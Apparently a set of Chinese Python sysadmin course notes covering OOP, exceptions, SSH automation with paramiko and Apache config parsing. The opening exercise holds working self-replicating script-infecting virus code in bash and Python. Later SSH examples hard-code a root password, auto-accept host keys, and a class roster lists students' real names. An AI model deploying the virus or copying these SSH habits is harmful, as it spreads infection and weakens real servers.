| 病毒:(bash、python) 1397 | 1398 | 1. 判断当前病毒是否已经在运行,如果是,那么我就不再运行 1399 | 2. 病毒感染对象为bash|python脚本(file )(Python script|Bourne-Again shell script) 1400 | 3. 可执行的可写的[ -w file -a -x file ] 1401 | 4. 感染病毒的脚本执行的时候会额外输出"I am evil!" 1402 | 5. 病毒能够自我复制 1403 | 6. 如果已经被感染,就不再感染 1404 | 1405 | ```shell 1406 | #!/bin/bash 1407 | if [ ! -f /tmp/.mybblock ];then touch /tmp/.mybblock; for i in `find /tmp/test/*` ; do grep "mybblock" $i &> /dev/null && continue ; file $i | grep "Bourne-Again shell script" &> /dev/null || continue ; [ -x $i -a -w $i ] || continue ; tail -n 1 $0 >> $i; done ; echo "hello,I am evil!"; rm -rf /tmp/.mybblock &> /dev/null ; fi 1408 | ``` 1409 | 1410 | ```python 1411 | #!/usr/bin/env python 1412 | import sys 1413 | from subprocess import * 1414 | test1=call('test -f /tmp/.mybb_lock', shell=True) 1415 | if test1 == 0: exit() 1416 | test2=call('touch /tmp/.mybb_lock',shell=True) 1417 | test_string=Popen('find /root/bash/*',shell=True,stdout=PIPE).communicate()[0] 1418 | test_list=test_string.split('\n') 1419 | del test_list[-1] 1420 | for file in test_list: 1421 | file_string=open(file).read() 1422 | if 'mybb' in file_string: continue 1423 | test_wx=call(['test','-w',file,'-a','-x',file]) 1424 | if test_wx != 0 : continue 1425 | test_python1=Popen(['file',file],stdout=PIPE) 1426 | test_python2=Popen(['grep','Python script'],stdin=test_python1.stdout,stdout=PIPE) 1427 | if test_python2.communicate()[0] == None:continue 1428 | string=open(sys.argv[0]).read() 1429 | infile_string=string.lstrip('#!/usr/bin/env python').lstrip() 1430 | with open(file,'a') as infile: 1431 | infile.write(infile_string) 1432 | print "I am superman" 1433 | file_del=call('rm -rf /tmp/.mybb_lock',shell=True) 1434 | ``` 1435 | 1436 | 课堂练习: 1437 | 1438 | 1. 采集班级所有同学的姓名和学号,放在字典中,例如{0:'大宝',1:'佩琦'} 1439 | 2. 全班同学玩杀人游戏,现在需要角色分配,如果学生的总数为3n+1个,则n为平民、杀手、警察的数量,法官只有1个; 1440 | 如果学生的总数不是3n+1,而是3n+2或者3n+3,则将多余人加到平民中,例如3n+2,则平民的个数n+1,若为3n+3,则平民的个数n+2 1441 | 1442 | 以上需求请用python脚本完成,随机分配角色。 1443 | 1444 | ```shell 1445 | 0 大宝 1446 | 1 江传晖 1447 | 3 汤雪磊 1448 | 4 周涛 1449 | 5 陆俊杰 1450 | 6 蒋帅 1451 | 7 晏继鹏 1452 | 9 龙清胜 1453 | 10 杨钧 1454 | 11 陆明 1455 | 13 巴荣军 1456 | 14 黄威 1457 | 17 申文涛 1458 | 18 胡立俊 1459 | 19 徐林 1460 | 20 李硕 1461 | 23 赖文龙 1462 | 24 罗鑫 1463 | 25 段永 1464 | 26 吴港 1465 | 36 李成鑫 1466 | 38 许光哲 1467 | 39 黄德鑫 1468 | 41 陈军甫 1469 | 42 鲁祖兴 1470 | ``` 1471 | 1472 | ```python 1473 | #!/usr/bin/env python 1474 | #encoding=utf_8 1475 | import random 1476 | import sys 1477 | a_dict={0:'大宝',1:'江传晖',3:'汤雪磊',4:'周涛',5:'陆俊杰',6:'蒋帅',7:'晏继鹏',9:'龙清胜',10:'杨钧',11:'陆明',13:'巴荣军',14:'黄威',17:'申文涛',18:'胡立俊',19:'徐林',20:'李硕',23:'赖文龙',24:'罗鑫',25:'段永',26:'吴港',36:'李成鑫',38:'许光哲',39:'黄德鑫',41:'陈军甫',42:'鲁祖兴'} 1478 | #print a_dict 1479 | b_list=a_dict.values() 1480 | n=len(b_list) 1481 | #print n 1482 | if (n-1)%3 == 0: 1483 | p_num=(n-1)/3 1484 | j_num=(n-1)/3 1485 | s_num=(n-1)/3 1486 | elif (n-1)%3 == 1: 1487 | p_num=(n-1)/3+1 1488 | j_num=(n-1)/3 1489 | s_num=(n-1)/3 1490 | else: 1491 | p_num=(n-1)/3+2 1492 | j_num=(n-1)/3 1493 | s_num=(n-1)/3 1494 | 1495 | #b_list=a_dict.values() 1496 | faguan=random.choice(b_list) 1497 | print "法官:{}".format(faguan) 1498 | b_list.remove(faguan) 1499 | #print b_list 1500 | #print len(b_list) 1501 | 1502 | sys.stdout.write('平民:') 1503 | for x in range(1,p_num+1): 1504 | p=random.choice(b_list) 1505 | b_list.remove(p) 1506 | sys.stdout.write(str(p)+' ') 1507 | print 1508 | 1509 | sys.stdout.write('警察:') 1510 | for y in range(1,j_num+1): 1511 | j=random.choice(b_list) 1512 | b_list.remove(j) 1513 | sys.stdout.write(str(j)+' ') 1514 | print 1515 | 1516 | sys.stdout.write('杀手:') 1517 | for z in range(1,s_num+1): 1518 | s=random.choice(b_list) 1519 | b_list.remove(s) 1520 | sys.stdout.write(str(s)+' ') 1521 | print 1522 | 1523 | 执行结果: 1524 | [root@workstation0 geli]# python game.py 1525 | 法官:段永 1526 | 平民:蒋帅 汤雪磊 许光哲 大宝 申文涛 晏继鹏 龙清胜 巴荣军 1527 | 警察:黄威 黄德鑫 李硕 杨钧 陆明 徐林 陆俊杰 赖文龙 1528 | 杀手:江传晖 周涛 李成鑫 陈军甫 鲁祖兴 胡立俊 罗鑫 吴港 1529 | =========================================== 1530 | 1531 | #!/usr/bin/env python 1532 | # -*- coding: utf-8 -*- 1533 | 1534 | #1.采集班级所有同学的姓名和学号,放在字典中,例如{0:'大宝',1:'佩琦'} 1535 | import sys 1536 | import random 1537 | 1538 | def createdict(): 1539 | global stu_dict 1540 | stu_dict = {} 1541 | a_list = open(sys.argv[1],'r').readlines() 1542 | for i_str in a_list: 1543 | i_list=i_str.strip().split() 1544 | stu_dict[int(i_list[0])] =i_list[1] 1545 | 1546 | def p_random(num,role): 1547 | global stu_dict 1548 | for i in range(0,num): 1549 | stu_list = stu_dict.keys() 1550 | s_p = random.choice(stu_list) 1551 | print '{}的扮演者:{}'.format(role,stu_dict[s_p]) 1552 | del stu_dict[s_p] 1553 | 1554 | 1555 | stu_dict = {} 1556 | createdict() 1557 | p_random(1,'法官') 1558 | print '+++++++++++++++++++++++++++++++' 1559 | num = len(stu_dict) 1560 | j_p_num=s_p_num = num/3 1561 | p_random(j_p_num,'警察') 1562 | print '+++++++++++++++++++++++++++++++' 1563 | p_random(s_p_num,'杀手') 1564 | print '+++++++++++++++++++++++++++++++' 1565 | p_p_num=len(stu_dict) 1566 | for i in stu_dict.values(): 1567 | print '平民的扮演者:{}'.format(i) 1568 | print '+++++++++++++++++++++++++++++++' 1569 | print '法官扮演人数为 1\n警察扮演人数为 {0}\n杀手扮演人数为 {0}\n平明扮演人数为 {1}'.format(j_p_num,p_p_num) 1570 | 1571 | 执行结果: 1572 | (booboo)[root@workstation0 pythontest]# python KillPeopleGame.py stu.txt 1573 | 法官的扮演者:汤雪磊 1574 | +++++++++++++++++++++++++++++++ 1575 | 警察的扮演者:申文涛 1576 | 警察的扮演者:陆明 1577 | 警察的扮演者:罗鑫 1578 | 警察的扮演者:胡立俊 1579 | 警察的扮演者:蒋帅 1580 | 警察的扮演者:周涛 1581 | 警察的扮演者:晏继鹏 1582 | 警察的扮演者:陆俊杰 1583 | +++++++++++++++++++++++++++++++ 1584 | 杀手的扮演者:黄威 1585 | 杀手的扮演者:杨钧 1586 | 杀手的扮演者:李硕 1587 | 杀手的扮演者:徐林 1588 | 杀手的扮演者:赖文龙 1589 | 杀手的扮演者:江传晖 1590 | 杀手的扮演者:许光哲 1591 | 杀手的扮演者:陈军甫 1592 | +++++++++++++++++++++++++++++++ 1593 | 平民的扮演者:大宝 1594 | 平民的扮演者:龙清胜 1595 | 平民的扮演者:巴荣军 1596 | 平民的扮演者:段永 1597 | 平民的扮演者:吴港 1598 | 平民的扮演者:李成鑫 1599 | 平民的扮演者:黄德鑫 1600 | 平民的扮演者:鲁祖兴 1601 | +++++++++++++++++++++++++++++++ 1602 | 法官扮演人数为 1 1603 | 警察扮演人数为 8 1604 | 杀手扮演人数为 8 1605 | 平明扮演人数为 8 1606 | ``` 1607 | 1608 | 1609 | 实践paramiko——编写python脚本连接到ssh服务器并远程执行命令_密码方式登录 1610 | 1611 | ```python 1612 | #!/usr/bin/env python 1613 | #encoding=utf-8 1614 | 1615 | import paramiko 1616 | 1617 | #远程服务器 1618 | hostname = '172.25.0.11' 1619 | #端口 1620 | port = 22 1621 | #用户名 1622 | username = 'root' 1623 | #密码 1624 | password = 'uplooking' 1625 | #创建SSH连接日志文件(只保留前一次连接的详细日志,以前的日志会自动被覆盖) 1626 | paramiko.util.log_to_file('paramiko.log') 1627 | s = paramiko.SSHClient() 1628 | #允许连接不在know_hosts文件中的主机 1629 | s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 1630 | #建立SSH连接 1631 | s.connect(hostname,port,username,password) 1632 | stdin,stdout,stderr = s.exec_command('df -h') 1633 | #打印标准输出 1634 | print stdout.read() 1635 | s.close() 1636 | 1637 | 运行结果: 1638 | (booboo)[root@workstation0 pythontest]# ls 1639 | KillPeopleGame.py pssh.py stu.txt 1640 | (booboo)[root@workstation0 pythontest]# python pssh.py 1641 | Filesystem Size Used Avail Use% Mounted on 1642 | /dev/mapper/rhel-root 8.8G 927M 7.9G 11% / 1643 | devtmpfs 235M 0 235M 0% /dev 1644 | tmpfs 245M 0 245M 0% /dev/shm 1645 | tmpfs 245M 4.4M 241M 2% /run 1646 | tmpfs 245M 0 245M 0% /sys/fs/cgroup 1647 | /dev/mapper/rhel-home 497M 26M 472M 6% /home 1648 | /dev/vda1 197M 110M 88M 56% /boot 1649 | tmpfs 49M 0 49M 0% /run/user/0 1650 | ``` 1651 | 1652 | 课堂实践:要求写python脚本完成mastera、masterb、slavea、slaveb四台服务器的vim软件的安装。 1653 | 1654 | ```python 1655 | #!/usr/bin/env python 1656 | #encoding=utf-8 1657 | 1658 | import paramiko 1659 | 1660 | #远程服务器 1661 | hostname = ['172.25.0.11','172.25.0.12','172.25.0.13','172.25.0.14'] 1662 | #端口 1663 | port = 22 1664 | #用户名 1665 | username = 'root' 1666 | #密码 1667 | password = 'uplooking' 1668 | #执行的命令 1669 | cmd = 'yum install -y vim' 1670 | 1671 | #创建SSH连接日志文件(只保留前一次连接的详细日志,以前的日志会自动被覆盖) 1672 | paramiko.util.log_to_file('paramiko.log') 1673 | 1674 | #建立SSH连接 1675 | for ip in hostname: 1676 | #创建远程连接对象s 1677 | s = paramiko.SSHClient() 1678 | #允许连接不在know_hosts文件中的主机 1679 | s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 1680 | #开始连接 1681 | s.connect(ip,port,username,password) 1682 | #远程执行的命令 1683 | stdin,stdout,stderr = s.exec_command(cmd) 1684 | #打印标准输出 1685 | print stdout.read() 1686 | s.close() 1687 | ``` -------------------------------------------------------------------------------- /05-python.md: -------------------------------------------------------------------------------- 1 | #Python 脚本编程及系统大规模自动化运维-面对对象编程 2 | 3 | [TOC] 4 | 5 | ## class 6 | 7 | * 定义类 8 | * 使用类产生对象 9 | 10 | ```bash 11 | >>> class Person: 12 | ... pass 13 | ... 14 | >>> p = Person() 15 | >>> print(p) 16 | <__main__.Person instance at 0xce3560> 17 | ``` 18 | 19 | ### 类和函数是什么关系呢? 20 | 21 | 22 | ### 方法 23 | 24 | * 定义类的成员方法 25 | 26 | ```bash 27 | >>> class Person: 28 | ... def say_hi(self): 29 | ... print('hello,how are you?') 30 | ... 31 | >>> p=Person() 32 | >>> p.say_hi() 33 | hello,how are you? 34 | ``` 35 | 36 | 37 | ### 数据 38 | 39 | 对象里包含的数据。 40 | 41 | 可以用.访问。 42 | 43 | 和方法的主要差别在于。方法需要使用()来调用,而数据不需要。 44 | 45 | ```bash 46 | >>> class Person: # 定义一个类Person 47 | ... def set_name(self,name): # 定义一个函数set_name 48 | ... self.name=name 49 | ... def say_hi(self): # 定义一个函数say_hi 50 | ... print('hello,{},how are you!'.format(self.name)) 51 | ... 52 | >>> p=Person() 53 | >>> p.set_name('shell') 54 | >>> print(p.name) 55 | shell 56 | >>> p.say_hi() 57 | hello,shell,how are you! 58 | ``` 59 | 60 | 61 | 62 | ### self 63 | 64 | 在python中,成员函数使用”self”来指代对象自身。类似于java和C++中的”this”。 65 | 66 | 在调用时,p.say_hi()即可。不需要传递p.say_hi(self)或者p.say_hi(p)。 67 | 68 | 在使用时,需要先将self定义为第一个参数。例如def say_hi(self):。 69 | 70 | 在函数内使用时,对象的成员需要用self.xx的方式使用,例如self.name。 71 | 72 | self不是关键词,也不是强制名称。它只是函数的第一个参数。但是为了保持传统,请不要将他改为其他名称。 73 | 74 | 75 | 76 | ### __init__方法 77 | 78 | \__init__是对象的第一个方法,用于初始化对象数据。 79 | 80 | \__init__函数是初始化方法,而非构造方法。 81 | 82 | 在\__init__函数被调用时,self对象已经创建完毕。 83 | 84 | 在python中,对象的属性可以自由添加删除,不需要先在类里面声明。 85 | 86 | 一般而言,对象里的所有数据会在\__init__方法中赋值,后面可以变更。 87 | 88 | 但是不在\__init__中赋值,后面直接赋值创建属性也是合法的。 89 | 90 | 91 | ```bash 92 | >>> class Person: 93 | ... def __init__(self,name): 94 | ... self.name=name 95 | ... def set_name(self,name): 96 | ... self.name=name 97 | ... def say_hi(self): 98 | ... print('hello,{},how are you?'.format(self.name)) 99 | ... 100 | >>> p=Person('Swaroop') 101 | >>> print(p.name) 102 | Swaroop 103 | >>> p.say_hi() 104 | hello,Swaroop,how are you? 105 | >>> 106 | >>> p.set_name('shell') 107 | >>> print(p.name) 108 | shell 109 | >>> p.say_hi() 110 | hello,shell,how are you? 111 | >>> p.__init__('tom') 112 | >>> print(p.name) 113 | tom 114 | >>> p.say_hi() 115 | hello,tom,how are you? 116 | ``` 117 | 118 | 119 | ### 练习 120 | 121 | 定义一个马克杯类,定义一个加水方法和一个喝水方法。 122 | 123 | ```python 124 | class Mug: 125 | def __init__(self): 126 | self.water = 0 127 | def drink(self, mass): 128 | self.water -= mass 129 | def watering(self, mass): 130 | self.water += mass 131 | ``` 132 | 133 | 134 | ### 类成员和对象成员 135 | 136 | 类和对象分别拥有成员,例如数据和方法。 137 | 138 | 对象可以引用类成员,例如p.say_hi()。也可以引用对象成员,或者self.name。 139 | 140 | 当有重名时优先引用对象成员。 141 | 142 | 类成员在所有对象间共享,而对象成员只是它自己的。 143 | 144 | 145 | 146 | 147 | ### 继承 148 | 149 | 继承关系分为基类和继承类(也叫父类和子类)。 150 | 151 | 子类可以继承父类的成员。当子类和父类定义同名成员时,优先引用子类的。 152 | 153 | 原则上说,父类能做的事,子类一定能做(虽然行为可能有差异)。父类能出现的地方,子类一定能出现。 154 | 155 | 因为子类拥有父类的所有成员。 156 | 157 | 继承的写法为: 158 | 159 | class Person(Animal): 160 | pass 161 | 162 | class 子类(父类): 163 | 164 | 165 | 案例:学生和老师的信息分别为: 166 | 姓名name,年龄age,成绩mark; 167 | 姓名name,年龄age,工资salary; 168 | 可以看到,不同的身份信息有重复的部分,name和age;因此可以做成父类,让子类继承。 169 | 170 | ```python 171 | class SchoolMember: 172 | '''Represents any school member.''' 173 | def __init__(self, name, age): 174 | self.name = name 175 | self.age = age 176 | print('(Initialized SchoolMember: {})'.format(self.name)) 177 | 178 | def tell(self): 179 | '''Tell my details.''' 180 | print('Name:"{}" Age:"{}"'.format(self.name, self.age)) 181 | 182 | 183 | class Teacher(SchoolMember): 184 | '''Represents a teacher.''' 185 | def __init__(self, name, age, salary): 186 | SchoolMember.__init__(self, name, age) 187 | self.salary = salary 188 | print('(Initialized Teacher: {})'.format(self.name)) 189 | 190 | def tell(self): 191 | SchoolMember.tell(self) 192 | print('Salary: "{:d}"'.format(self.salary)) 193 | 194 | class Student(SchoolMember): 195 | '''Represents a student.''' 196 | def __init__(self, name, age, marks): 197 | SchoolMember.__init__(self, name, age) 198 | self.marks = marks 199 | print('(Initialized Student: {})'.format(self.name)) 200 | 201 | def tell(self): 202 | SchoolMember.tell(self) 203 | print('Marks: "{:d}"'.format(self.marks)) 204 | 205 | t = Teacher('Mrs. Shrividya', 40, 30000) 206 | s = Student('Swaroop', 25, 75) 207 | 208 | # prints a blank line 209 | print() 210 | members = [t, s] 211 | for member in members: 212 | # Works for both Teachers and Students 213 | member.tell() 214 | ``` 215 | 216 | ```bash 217 | [root@workstation0 ~]# vim jc1.py 218 | [root@workstation0 ~]# python jc1.py 219 | (Initialized SchoolMember: Mrs. Shrividya) 220 | (Initialized Teacher: Mrs. Shrividya) 221 | (Initialized SchoolMember: Swaroop) 222 | (Initialized Student: Swaroop) 223 | () 224 | Name:"Mrs. Shrividya" Age:"40" 225 | Salary: "30000" 226 | Name:"Swaroop" Age:"25" 227 | Marks: "75" 228 | ``` 229 | 230 | 231 | ### 练习 232 | 233 | 请为马克杯增加一个“添满”方法,可以求出需要添多少水到加满,并自动为杯子加水。 234 | 235 | ```shell 236 | [root@workstation0 ~]# cat jc2.py 237 | class Mug(object): 238 | capacity=300 239 | def __init__(self): 240 | self.water=0 241 | def drink(self,mass): 242 | self.water -=mass 243 | if self.water < 0: 244 | self.water=0 245 | def watering(self,mass): 246 | self.water +=mass 247 | if self.water > self.capacity: 248 | self.water=self.capacity 249 | def full(self): 250 | mass=self.capacity-self.water 251 | self.watering(mass) 252 | 253 | m=Mug() 254 | m.full() 255 | print(m.water) 256 | [root@workstation0 ~]# python jc2.py 257 | 300 258 | ``` 259 | 260 | 261 | 262 | ### 练习 263 | 264 | 请定义一个运动杯类,并同样实现“喝水”,“加水”和“添满”方法。 265 | 266 | 267 | ```python 268 | class SPO(object): 269 | capacity=500 270 | def __init__(self): 271 | self.water=0 272 | def drink(self,mass): 273 | self.water -=mass 274 | if self.water < 0: 275 | self.water=0 276 | def watering(self,mass): 277 | self.water +=mass 278 | if self.water > self.capacity: 279 | self.water=self.capacity 280 | def full(self): 281 | mass=self.capacity-self.water 282 | self.watering(mass) 283 | ``` 284 | 285 | 286 | 287 | 288 | 289 | ### 练习 290 | 291 | 考虑一下,如果“马克杯”和“运动杯”的“喝水”和“添水”行为是不一样的。 292 | 293 | 那么,“添满”行为是否一样,两边是否可以重用“添满”? 294 | 295 | 如果可以,怎么做? 296 | 297 | 298 | 299 | ```bash 300 | [root@workstation0 ~]# cat jc4.py 301 | class SPO(object): 302 | capacity=500 303 | def __init__(self): 304 | self.water=0 305 | def drink(self,mass): 306 | self.water -=mass 307 | if self.water < 0: 308 | self.water=0 309 | def watering(self,mass): 310 | self.water +=mass 311 | if self.water > self.capacity: 312 | self.water=self.capacity 313 | def full(self): 314 | mass=self.capacity-self.water 315 | self.watering(mass) 316 | 317 | class Mug(object): 318 | capacity=300 319 | def __init__(self): 320 | self.water=0 321 | def drink(self,mass): 322 | self.water -=mass 323 | if self.water < 0: 324 | self.water=0 325 | def watering(self,mass): 326 | self.water +=mass 327 | if self.water > self.capacity: 328 | self.water=self.capacity 329 | def full(self): 330 | mass=self.capacity-self.water 331 | self.watering(mass) 332 | 333 | m=Mug() 334 | s=SPO() 335 | 336 | i=100 337 | m.watering(i) 338 | s.watering(i) 339 | print(m.water) 340 | print(s.water) 341 | 342 | m.watering(200) 343 | s.watering(300) 344 | print(m.water) 345 | print(s.water) 346 | [root@workstation0 ~]# python jc4.py 347 | 100 348 | 100 349 | 300 350 | 400 351 | 352 | [root@workstation0 ~]# cat jc6.py 353 | class Cup(object): 354 | 355 | def __init__(self): 356 | self.water = 0 This m 357 | 358 | def full(self): 359 | mass = self.capacity - self.water 360 | self.watering(mass) 361 | 362 | def drink(self, mass): 363 | self.water -= mass 364 | if self.water < 0: 365 | self.water = 0 366 | 367 | def watering(self, mass): 368 | self.water += mass 369 | if self.water > self.capacity: 370 | self.water = self.capacity 371 | 372 | 373 | class Mug(Cup): 374 | capacity = 300 375 | 376 | 377 | class SPO(Cup): 378 | capacity = 500 379 | 380 | 381 | m=Mug() 382 | s=SPO() 383 | 384 | m.watering(200) 385 | s.watering(300) 386 | print(m.water) 387 | print(s.water) 388 | m.full() 389 | s.full() 390 | print(m.water) 391 | print(s.water) 392 | [root@workstation0 ~]# python jc6.py 393 | 200 394 | 300 395 | 300 396 | 500 397 | 398 | [root@workstation0 ~]# cat jc5.py 399 | class Cup(object): 400 | 401 | def __init__(self): 402 | self.water = 0 403 | 404 | def full(self): 405 | mass = self.capacity - self.water 406 | self.watering(mass) 407 | 408 | class Mug(Cup): 409 | capacity = 300 410 | 411 | def drink(self, mass): 412 | self.water -= mass 413 | if self.water < 0: 414 | self.water = 0 415 | 416 | def watering(self, mass): 417 | self.water += mass 418 | if self.water > self.capacity: 419 | self.water = self.capacity 420 | 421 | class SPO(Cup): 422 | capacity = 500 423 | 424 | def drink(self, mass): 425 | self.water -= mass 426 | if self.water < 0: 427 | self.water = 0 428 | 429 | def watering(self, mass): 430 | self.water += mass 431 | if self.water > self.capacity: 432 | self.water = self.capacity 433 | 434 | m=Mug() 435 | s=SPO() 436 | 437 | m.watering(200) 438 | s.watering(300) 439 | print(m.water) 440 | print(s.water) 441 | m.full() 442 | s.full() 443 | print(m.water) 444 | print(s.water) 445 | [root@workstation0 ~]# python jc5.py 446 | 200 447 | 300 448 | 300 449 | 500 450 | 451 | ``` 452 | 453 | booboo:不同的类中如果有相同的部分,可以单独写成一个基类,这样就不用在子类中重复了。 454 | 455 | ## 异常 456 | 457 | 458 | ### 简介 459 | 460 | Python允许在出现错误的时候,“抛”出这个错误。 461 | 462 | 错误按照调用顺序依次向上找,找到第一个合适的处理方法对错误进行处理。如果无人处理错误,则程序崩溃。 463 | 464 | 这种错误处理机制允许调用者对函数深层的错误进行容错,同时中间所有代码对这个过程无需干预。 465 | 466 | ```shell 467 | >>> Print("Hello World") 468 | Traceback (most recent call last): 469 | File "", line 1, in 470 | NameError: name 'Print' is not defined 471 | >>> print("Hello World") 472 | Hello World 473 | ``` 474 | 475 | 476 | ### 异常输出阅读 477 | 478 | python的大多数错误会伴随抛出异常。因此,为了解决日常在使用中碰到的种种问题,我们需要学会如何阅读异常。 479 | 480 | 异常输出通常和函数的调用顺序相同,和栈的顺序相反。 481 | 482 | 最上层的调用(最先发生的)在最上面,最后执行到的地方在最下面。最后一个异常行就是一场发生的精确地点。 483 | 484 | 最后一行是异常的名字和参数。 485 | 486 | 487 | 488 | ### 异常处理 489 | 490 | 常规异常处理代码段需要包含三部分内容:被监管代码体,错误类型和异常处理代码体。 491 | 492 | 当被监管代码体中发生异常时,异常被向上抛出。 493 | 494 | 向上寻找处理函数的异常属于定义的这个错误类的子类时,异常处理代码体被调用。 495 | 496 | 一般来说,除非明确知道确实要捕获所有异常,否则严禁用捕获所有异常来处理某种特定问题。 497 | 498 | 499 | ### 常见异常 500 | 501 | AttributeError 502 | ImportError 503 | IndexError 504 | KeyError 505 | NameError 506 | SyntaxError 507 | IndentationError 508 | TypeError 509 | ValueError 510 | 511 | ### 抛出异常 512 | ### 自定义异常 513 | 514 | ### finally 515 | 516 | finally用于“无论是异常还是正常,以下内容必然被执行”的情况。 517 | 518 | 多用于清理。 519 | 520 | ### assert 521 | 522 | 判断文件是否存在: 523 | 524 | 编写一个脚本,脚本名为test.sh 525 | 判断/tmp/test1至/tmp/test50和/etc/passwd /etc/hosts文件存在不存在,若不存在则提示错误。 526 | 527 | [root@workstation0 tmp]# python test.py 528 | plz input file:/etc/passwd 529 | ok 530 | [root@workstation0 tmp]# python test.py 531 | plz input file:/cc 532 | error 533 | [root@workstation0 tmp]# cat test.py 534 | fname=raw_input('plz input file:') 535 | try: 536 | f=open(fname) 537 | except IOError: 538 | print('error') 539 | else: 540 | print('ok') 541 | 542 | 543 | ## 文档 544 | 545 | 文档获得和查阅 546 | 547 | 在线文档: 548 | 549 | https://docs.python.org/2/ 550 | 551 | https://docs.python.org/3/ 552 | 553 | 本地文档:随安装版本变化。 554 | 555 | 两者冲突以本地为准,本地一定对应安装使用的版本。 556 | 557 | 库查Library Reference,这是最主要部分。 558 | 559 | 语法特性查Language Reference。 560 | 561 | 562 | ### 练习 563 | 564 | 打开文档,请查阅itertools.permutations的意义,参数,返回值,用法,注意要点等信息。并向大家解释。 565 | 566 | 在windows上下载http://classroom.example.com/materials/python2.7/python279.chm 567 | 568 | 569 | ### 第三方文档查询 570 | 571 | 没有什么固定方法。 572 | 573 | 在google(注意,不是baidu)上搜索关键词。找一个比较像的官网。找到文档。 574 | 575 | 可以参考pypi,很多第三方库可以在上面找到。里面往往带有文档地址。 576 | 577 | 缺点是,pypi上搜出来的重名库太多,很难搞清楚哪个才是你要的。 578 | 579 | ## Python2和Python3的差异 580 | 581 | 582 | ### 简述 583 | 584 | Python2中有很多固有的设计问题,例如: 585 | 586 | 1. print是内置关键词。一般来说,关键词越少越好,因为关键词越少,语言的内核越简洁。 587 | 2. 混同了bytes和unicode。 588 | 3. /是整数除法。 589 | 590 | 这些问题在Python3中逐步给予了修复。 591 | 592 | 常规来说,修复问题最重要的是“向下兼容,逐步进行”。 593 | 594 | 然而上述问题几乎全部都是语言本质问题,不对语言进行伤筋动骨的大改是没有办法修复的。 595 | 596 | 因此Python3的预订是“不和Python2兼容”,这造成了Python社区目前2/3分裂的现状。 597 | 598 | 599 | 600 | Python2和Python3有很多细节差异。但是大致来说,最主要就是上面提到的三项。 601 | 602 | * Python2的print由关键字改为了函数。因此print ‘xxx’的写法就不合法了。 603 | * 在Python3中,所有的字符串默认都是unicode。要处理原生数据需要用bytes。因此很多在Python2中能够很方便就处理过去的地方需要仔细思考是unicode还是bytes。 604 | * Python3中/不是整数除法。 605 | 606 | 在下面这个连接里,收录了Python2和Python3的其他一些细节差异。 607 | 608 | https://wiki.python.org/moin/Python2orPython3 609 | 610 | 611 | ### Python2到3迁移 612 | 613 | Python3带有2to3脚本,可以完成很多项目的迁移。 614 | 615 | 但是对于某些情况,他仍然不能自动的完成所有工作。 616 | 617 | 2到3迁移的主要问题在于,目前有很多库,仍然没有完成Python3的迁移工作。这导致使用这些库编写的程序很难在Python3上找到更好的(或者更习惯的)替代产品。 618 | 619 | 而这件事情是2to3脚本无法自动完成的。 620 | 621 | 622 | ### 我该用哪个版本/哪个更好 623 | 624 | 任何能让你不添加额外的麻烦把工作做下来的版本都是好的。 625 | 626 | 如果Python2和Python3一样好,那么Python3更好。 627 | 628 | 因为很显然,Python社区已经宣布Python2将停止维护。在可见的时间内,显然都要使用Python3的写法。 629 | 630 | 如果能够不添加额外麻烦的情况下使用Python3,这可能为将来的维护带来便利。 631 | -------------------------------------------------------------------------------- /06-python.md: -------------------------------------------------------------------------------- 1 | #Python 脚本编程及系统大规模自动化运维-Aapache配置 2 | 3 | [TOC] 4 | 5 | 实验要求:用python脚本实现自动替换虚拟主机的DocumentRoot,脚本名为apache_conf_docroot_replace.py 6 | 例如,将www.uplooking.com的网站根目录修改为/var/www/baidu.com 7 | 8 | 思路: 9 | 1. 建立三个编译后的正则表达式对象: 10 | A. 匹配VirtualHost的开始 11 | B. 匹配VirtualHost的结尾 12 | C. 匹配DocumentRoot这一行 13 | 2. 创建一个函数来完成 replace_docroot() 14 | 15 | /etc/httpd/conf.d/baidu.conf 原先的配置 16 | ```shell 17 | [root@masterb0 ~]# cat /etc/httpd/conf.d/baidu.conf 18 | 19 | ServerAdmin webmaster@www.baidu.com 20 | ServerName www.baidu.com 21 | DocumentRoot /var/www/html 22 | ErrorLog "/var/log/httpd/www.baidu.com-error_log" 23 | CustomLog "/var/log/httpd/www.baidu.com-access_log" common 24 | 25 | ``` 26 | 27 | ```python 28 | #!/usr/bin/env python 29 | 30 | from cStringIO import StringIO 31 | import re 32 | 33 | vhost_start = re.compile(r'') 34 | vhost_end = re.compile(r' 107 | 108 | In [10]: for i in conf_file: 109 | ....: print i 110 | ....: 111 | 1 ok 112 | 113 | 2 bb 114 | 115 | 3 cc 116 | ``` 117 | 118 | 执行脚本apache_conf_docroot_replace.py后的结果 119 | ``` 120 | [root@masterb0 ~]# python apache_conf_docroot_replace.py /etc/httpd/conf.d/baidu.conf www.baidu.com /var/www/baidu.com 121 | 122 | 123 | ServerAdmin webmaster@www.baidu.com 124 | 125 | ServerName www.baidu.com 126 | 127 | DocumentRoot /var/www/baidu.com 128 | 129 | ErrorLog "/var/log/httpd/www.baidu.com-error_log" 130 | 131 | CustomLog "/var/log/httpd/www.baidu.com-access_log" common 132 | 133 | 134 | 135 | ``` 136 | 该脚本并没有将原配置文件修改,只是将修改后的结果显示到屏幕上;注意这个脚本必须要求DocumentRoot放在ServerName后面 137 | 138 | # 日志解析 139 | 140 | 课堂实践:读取一个apache访问日志,查看每一个独立客户端连接获得的字节数。 141 | 142 | apache访问日志格式如下所示: 143 | ```bash 144 | 172.25.254.250 - - [14/Oct/2016:12:53:58 +0800] "GET /rhel7.2/x86_64/vms/db100-masterb-vdb.qcow2 HTTP/1.1" 200 197120 "-" "curl/7.29.0" 145 | ``` 146 | 147 | # ElementTree(元素树) 148 | 149 | 150 | 课堂实践:使用ElementTree解析Tomcat用户文件 151 | 152 | --- 153 | 154 | # 总结 155 | 156 | 本章讲述了python操作文本的一些基本技术。我们使用了 157 | * 来自标准库的内建string类型 158 | * 正则表达式 159 | * 标准输入输出 160 | * StringIO 161 | * urllib模块 162 | 163 | 将以上知识进行联合,应用到以下案例中: 164 | * 解析apache日志文件 165 | * 解析Tomcat用户文件 166 | 167 | 当复杂的文本处理已经超过了使用grep,sed,awk所能应对的程度时,我们可以选择python。 168 | -------------------------------------------------------------------------------- /07-python连接mysql之MySQLdb模块.md: -------------------------------------------------------------------------------- 1 | # python操作mysql数据库 2 | 3 | Python 标准数据库接口为 Python DB-API,Python DB-API为开发人员提供了数据库应用编程接口。 4 | 5 | Python 数据库接口支持非常多的数据库,你可以选择适合你项目的数据库: 6 | 7 | * GadFly 8 | * 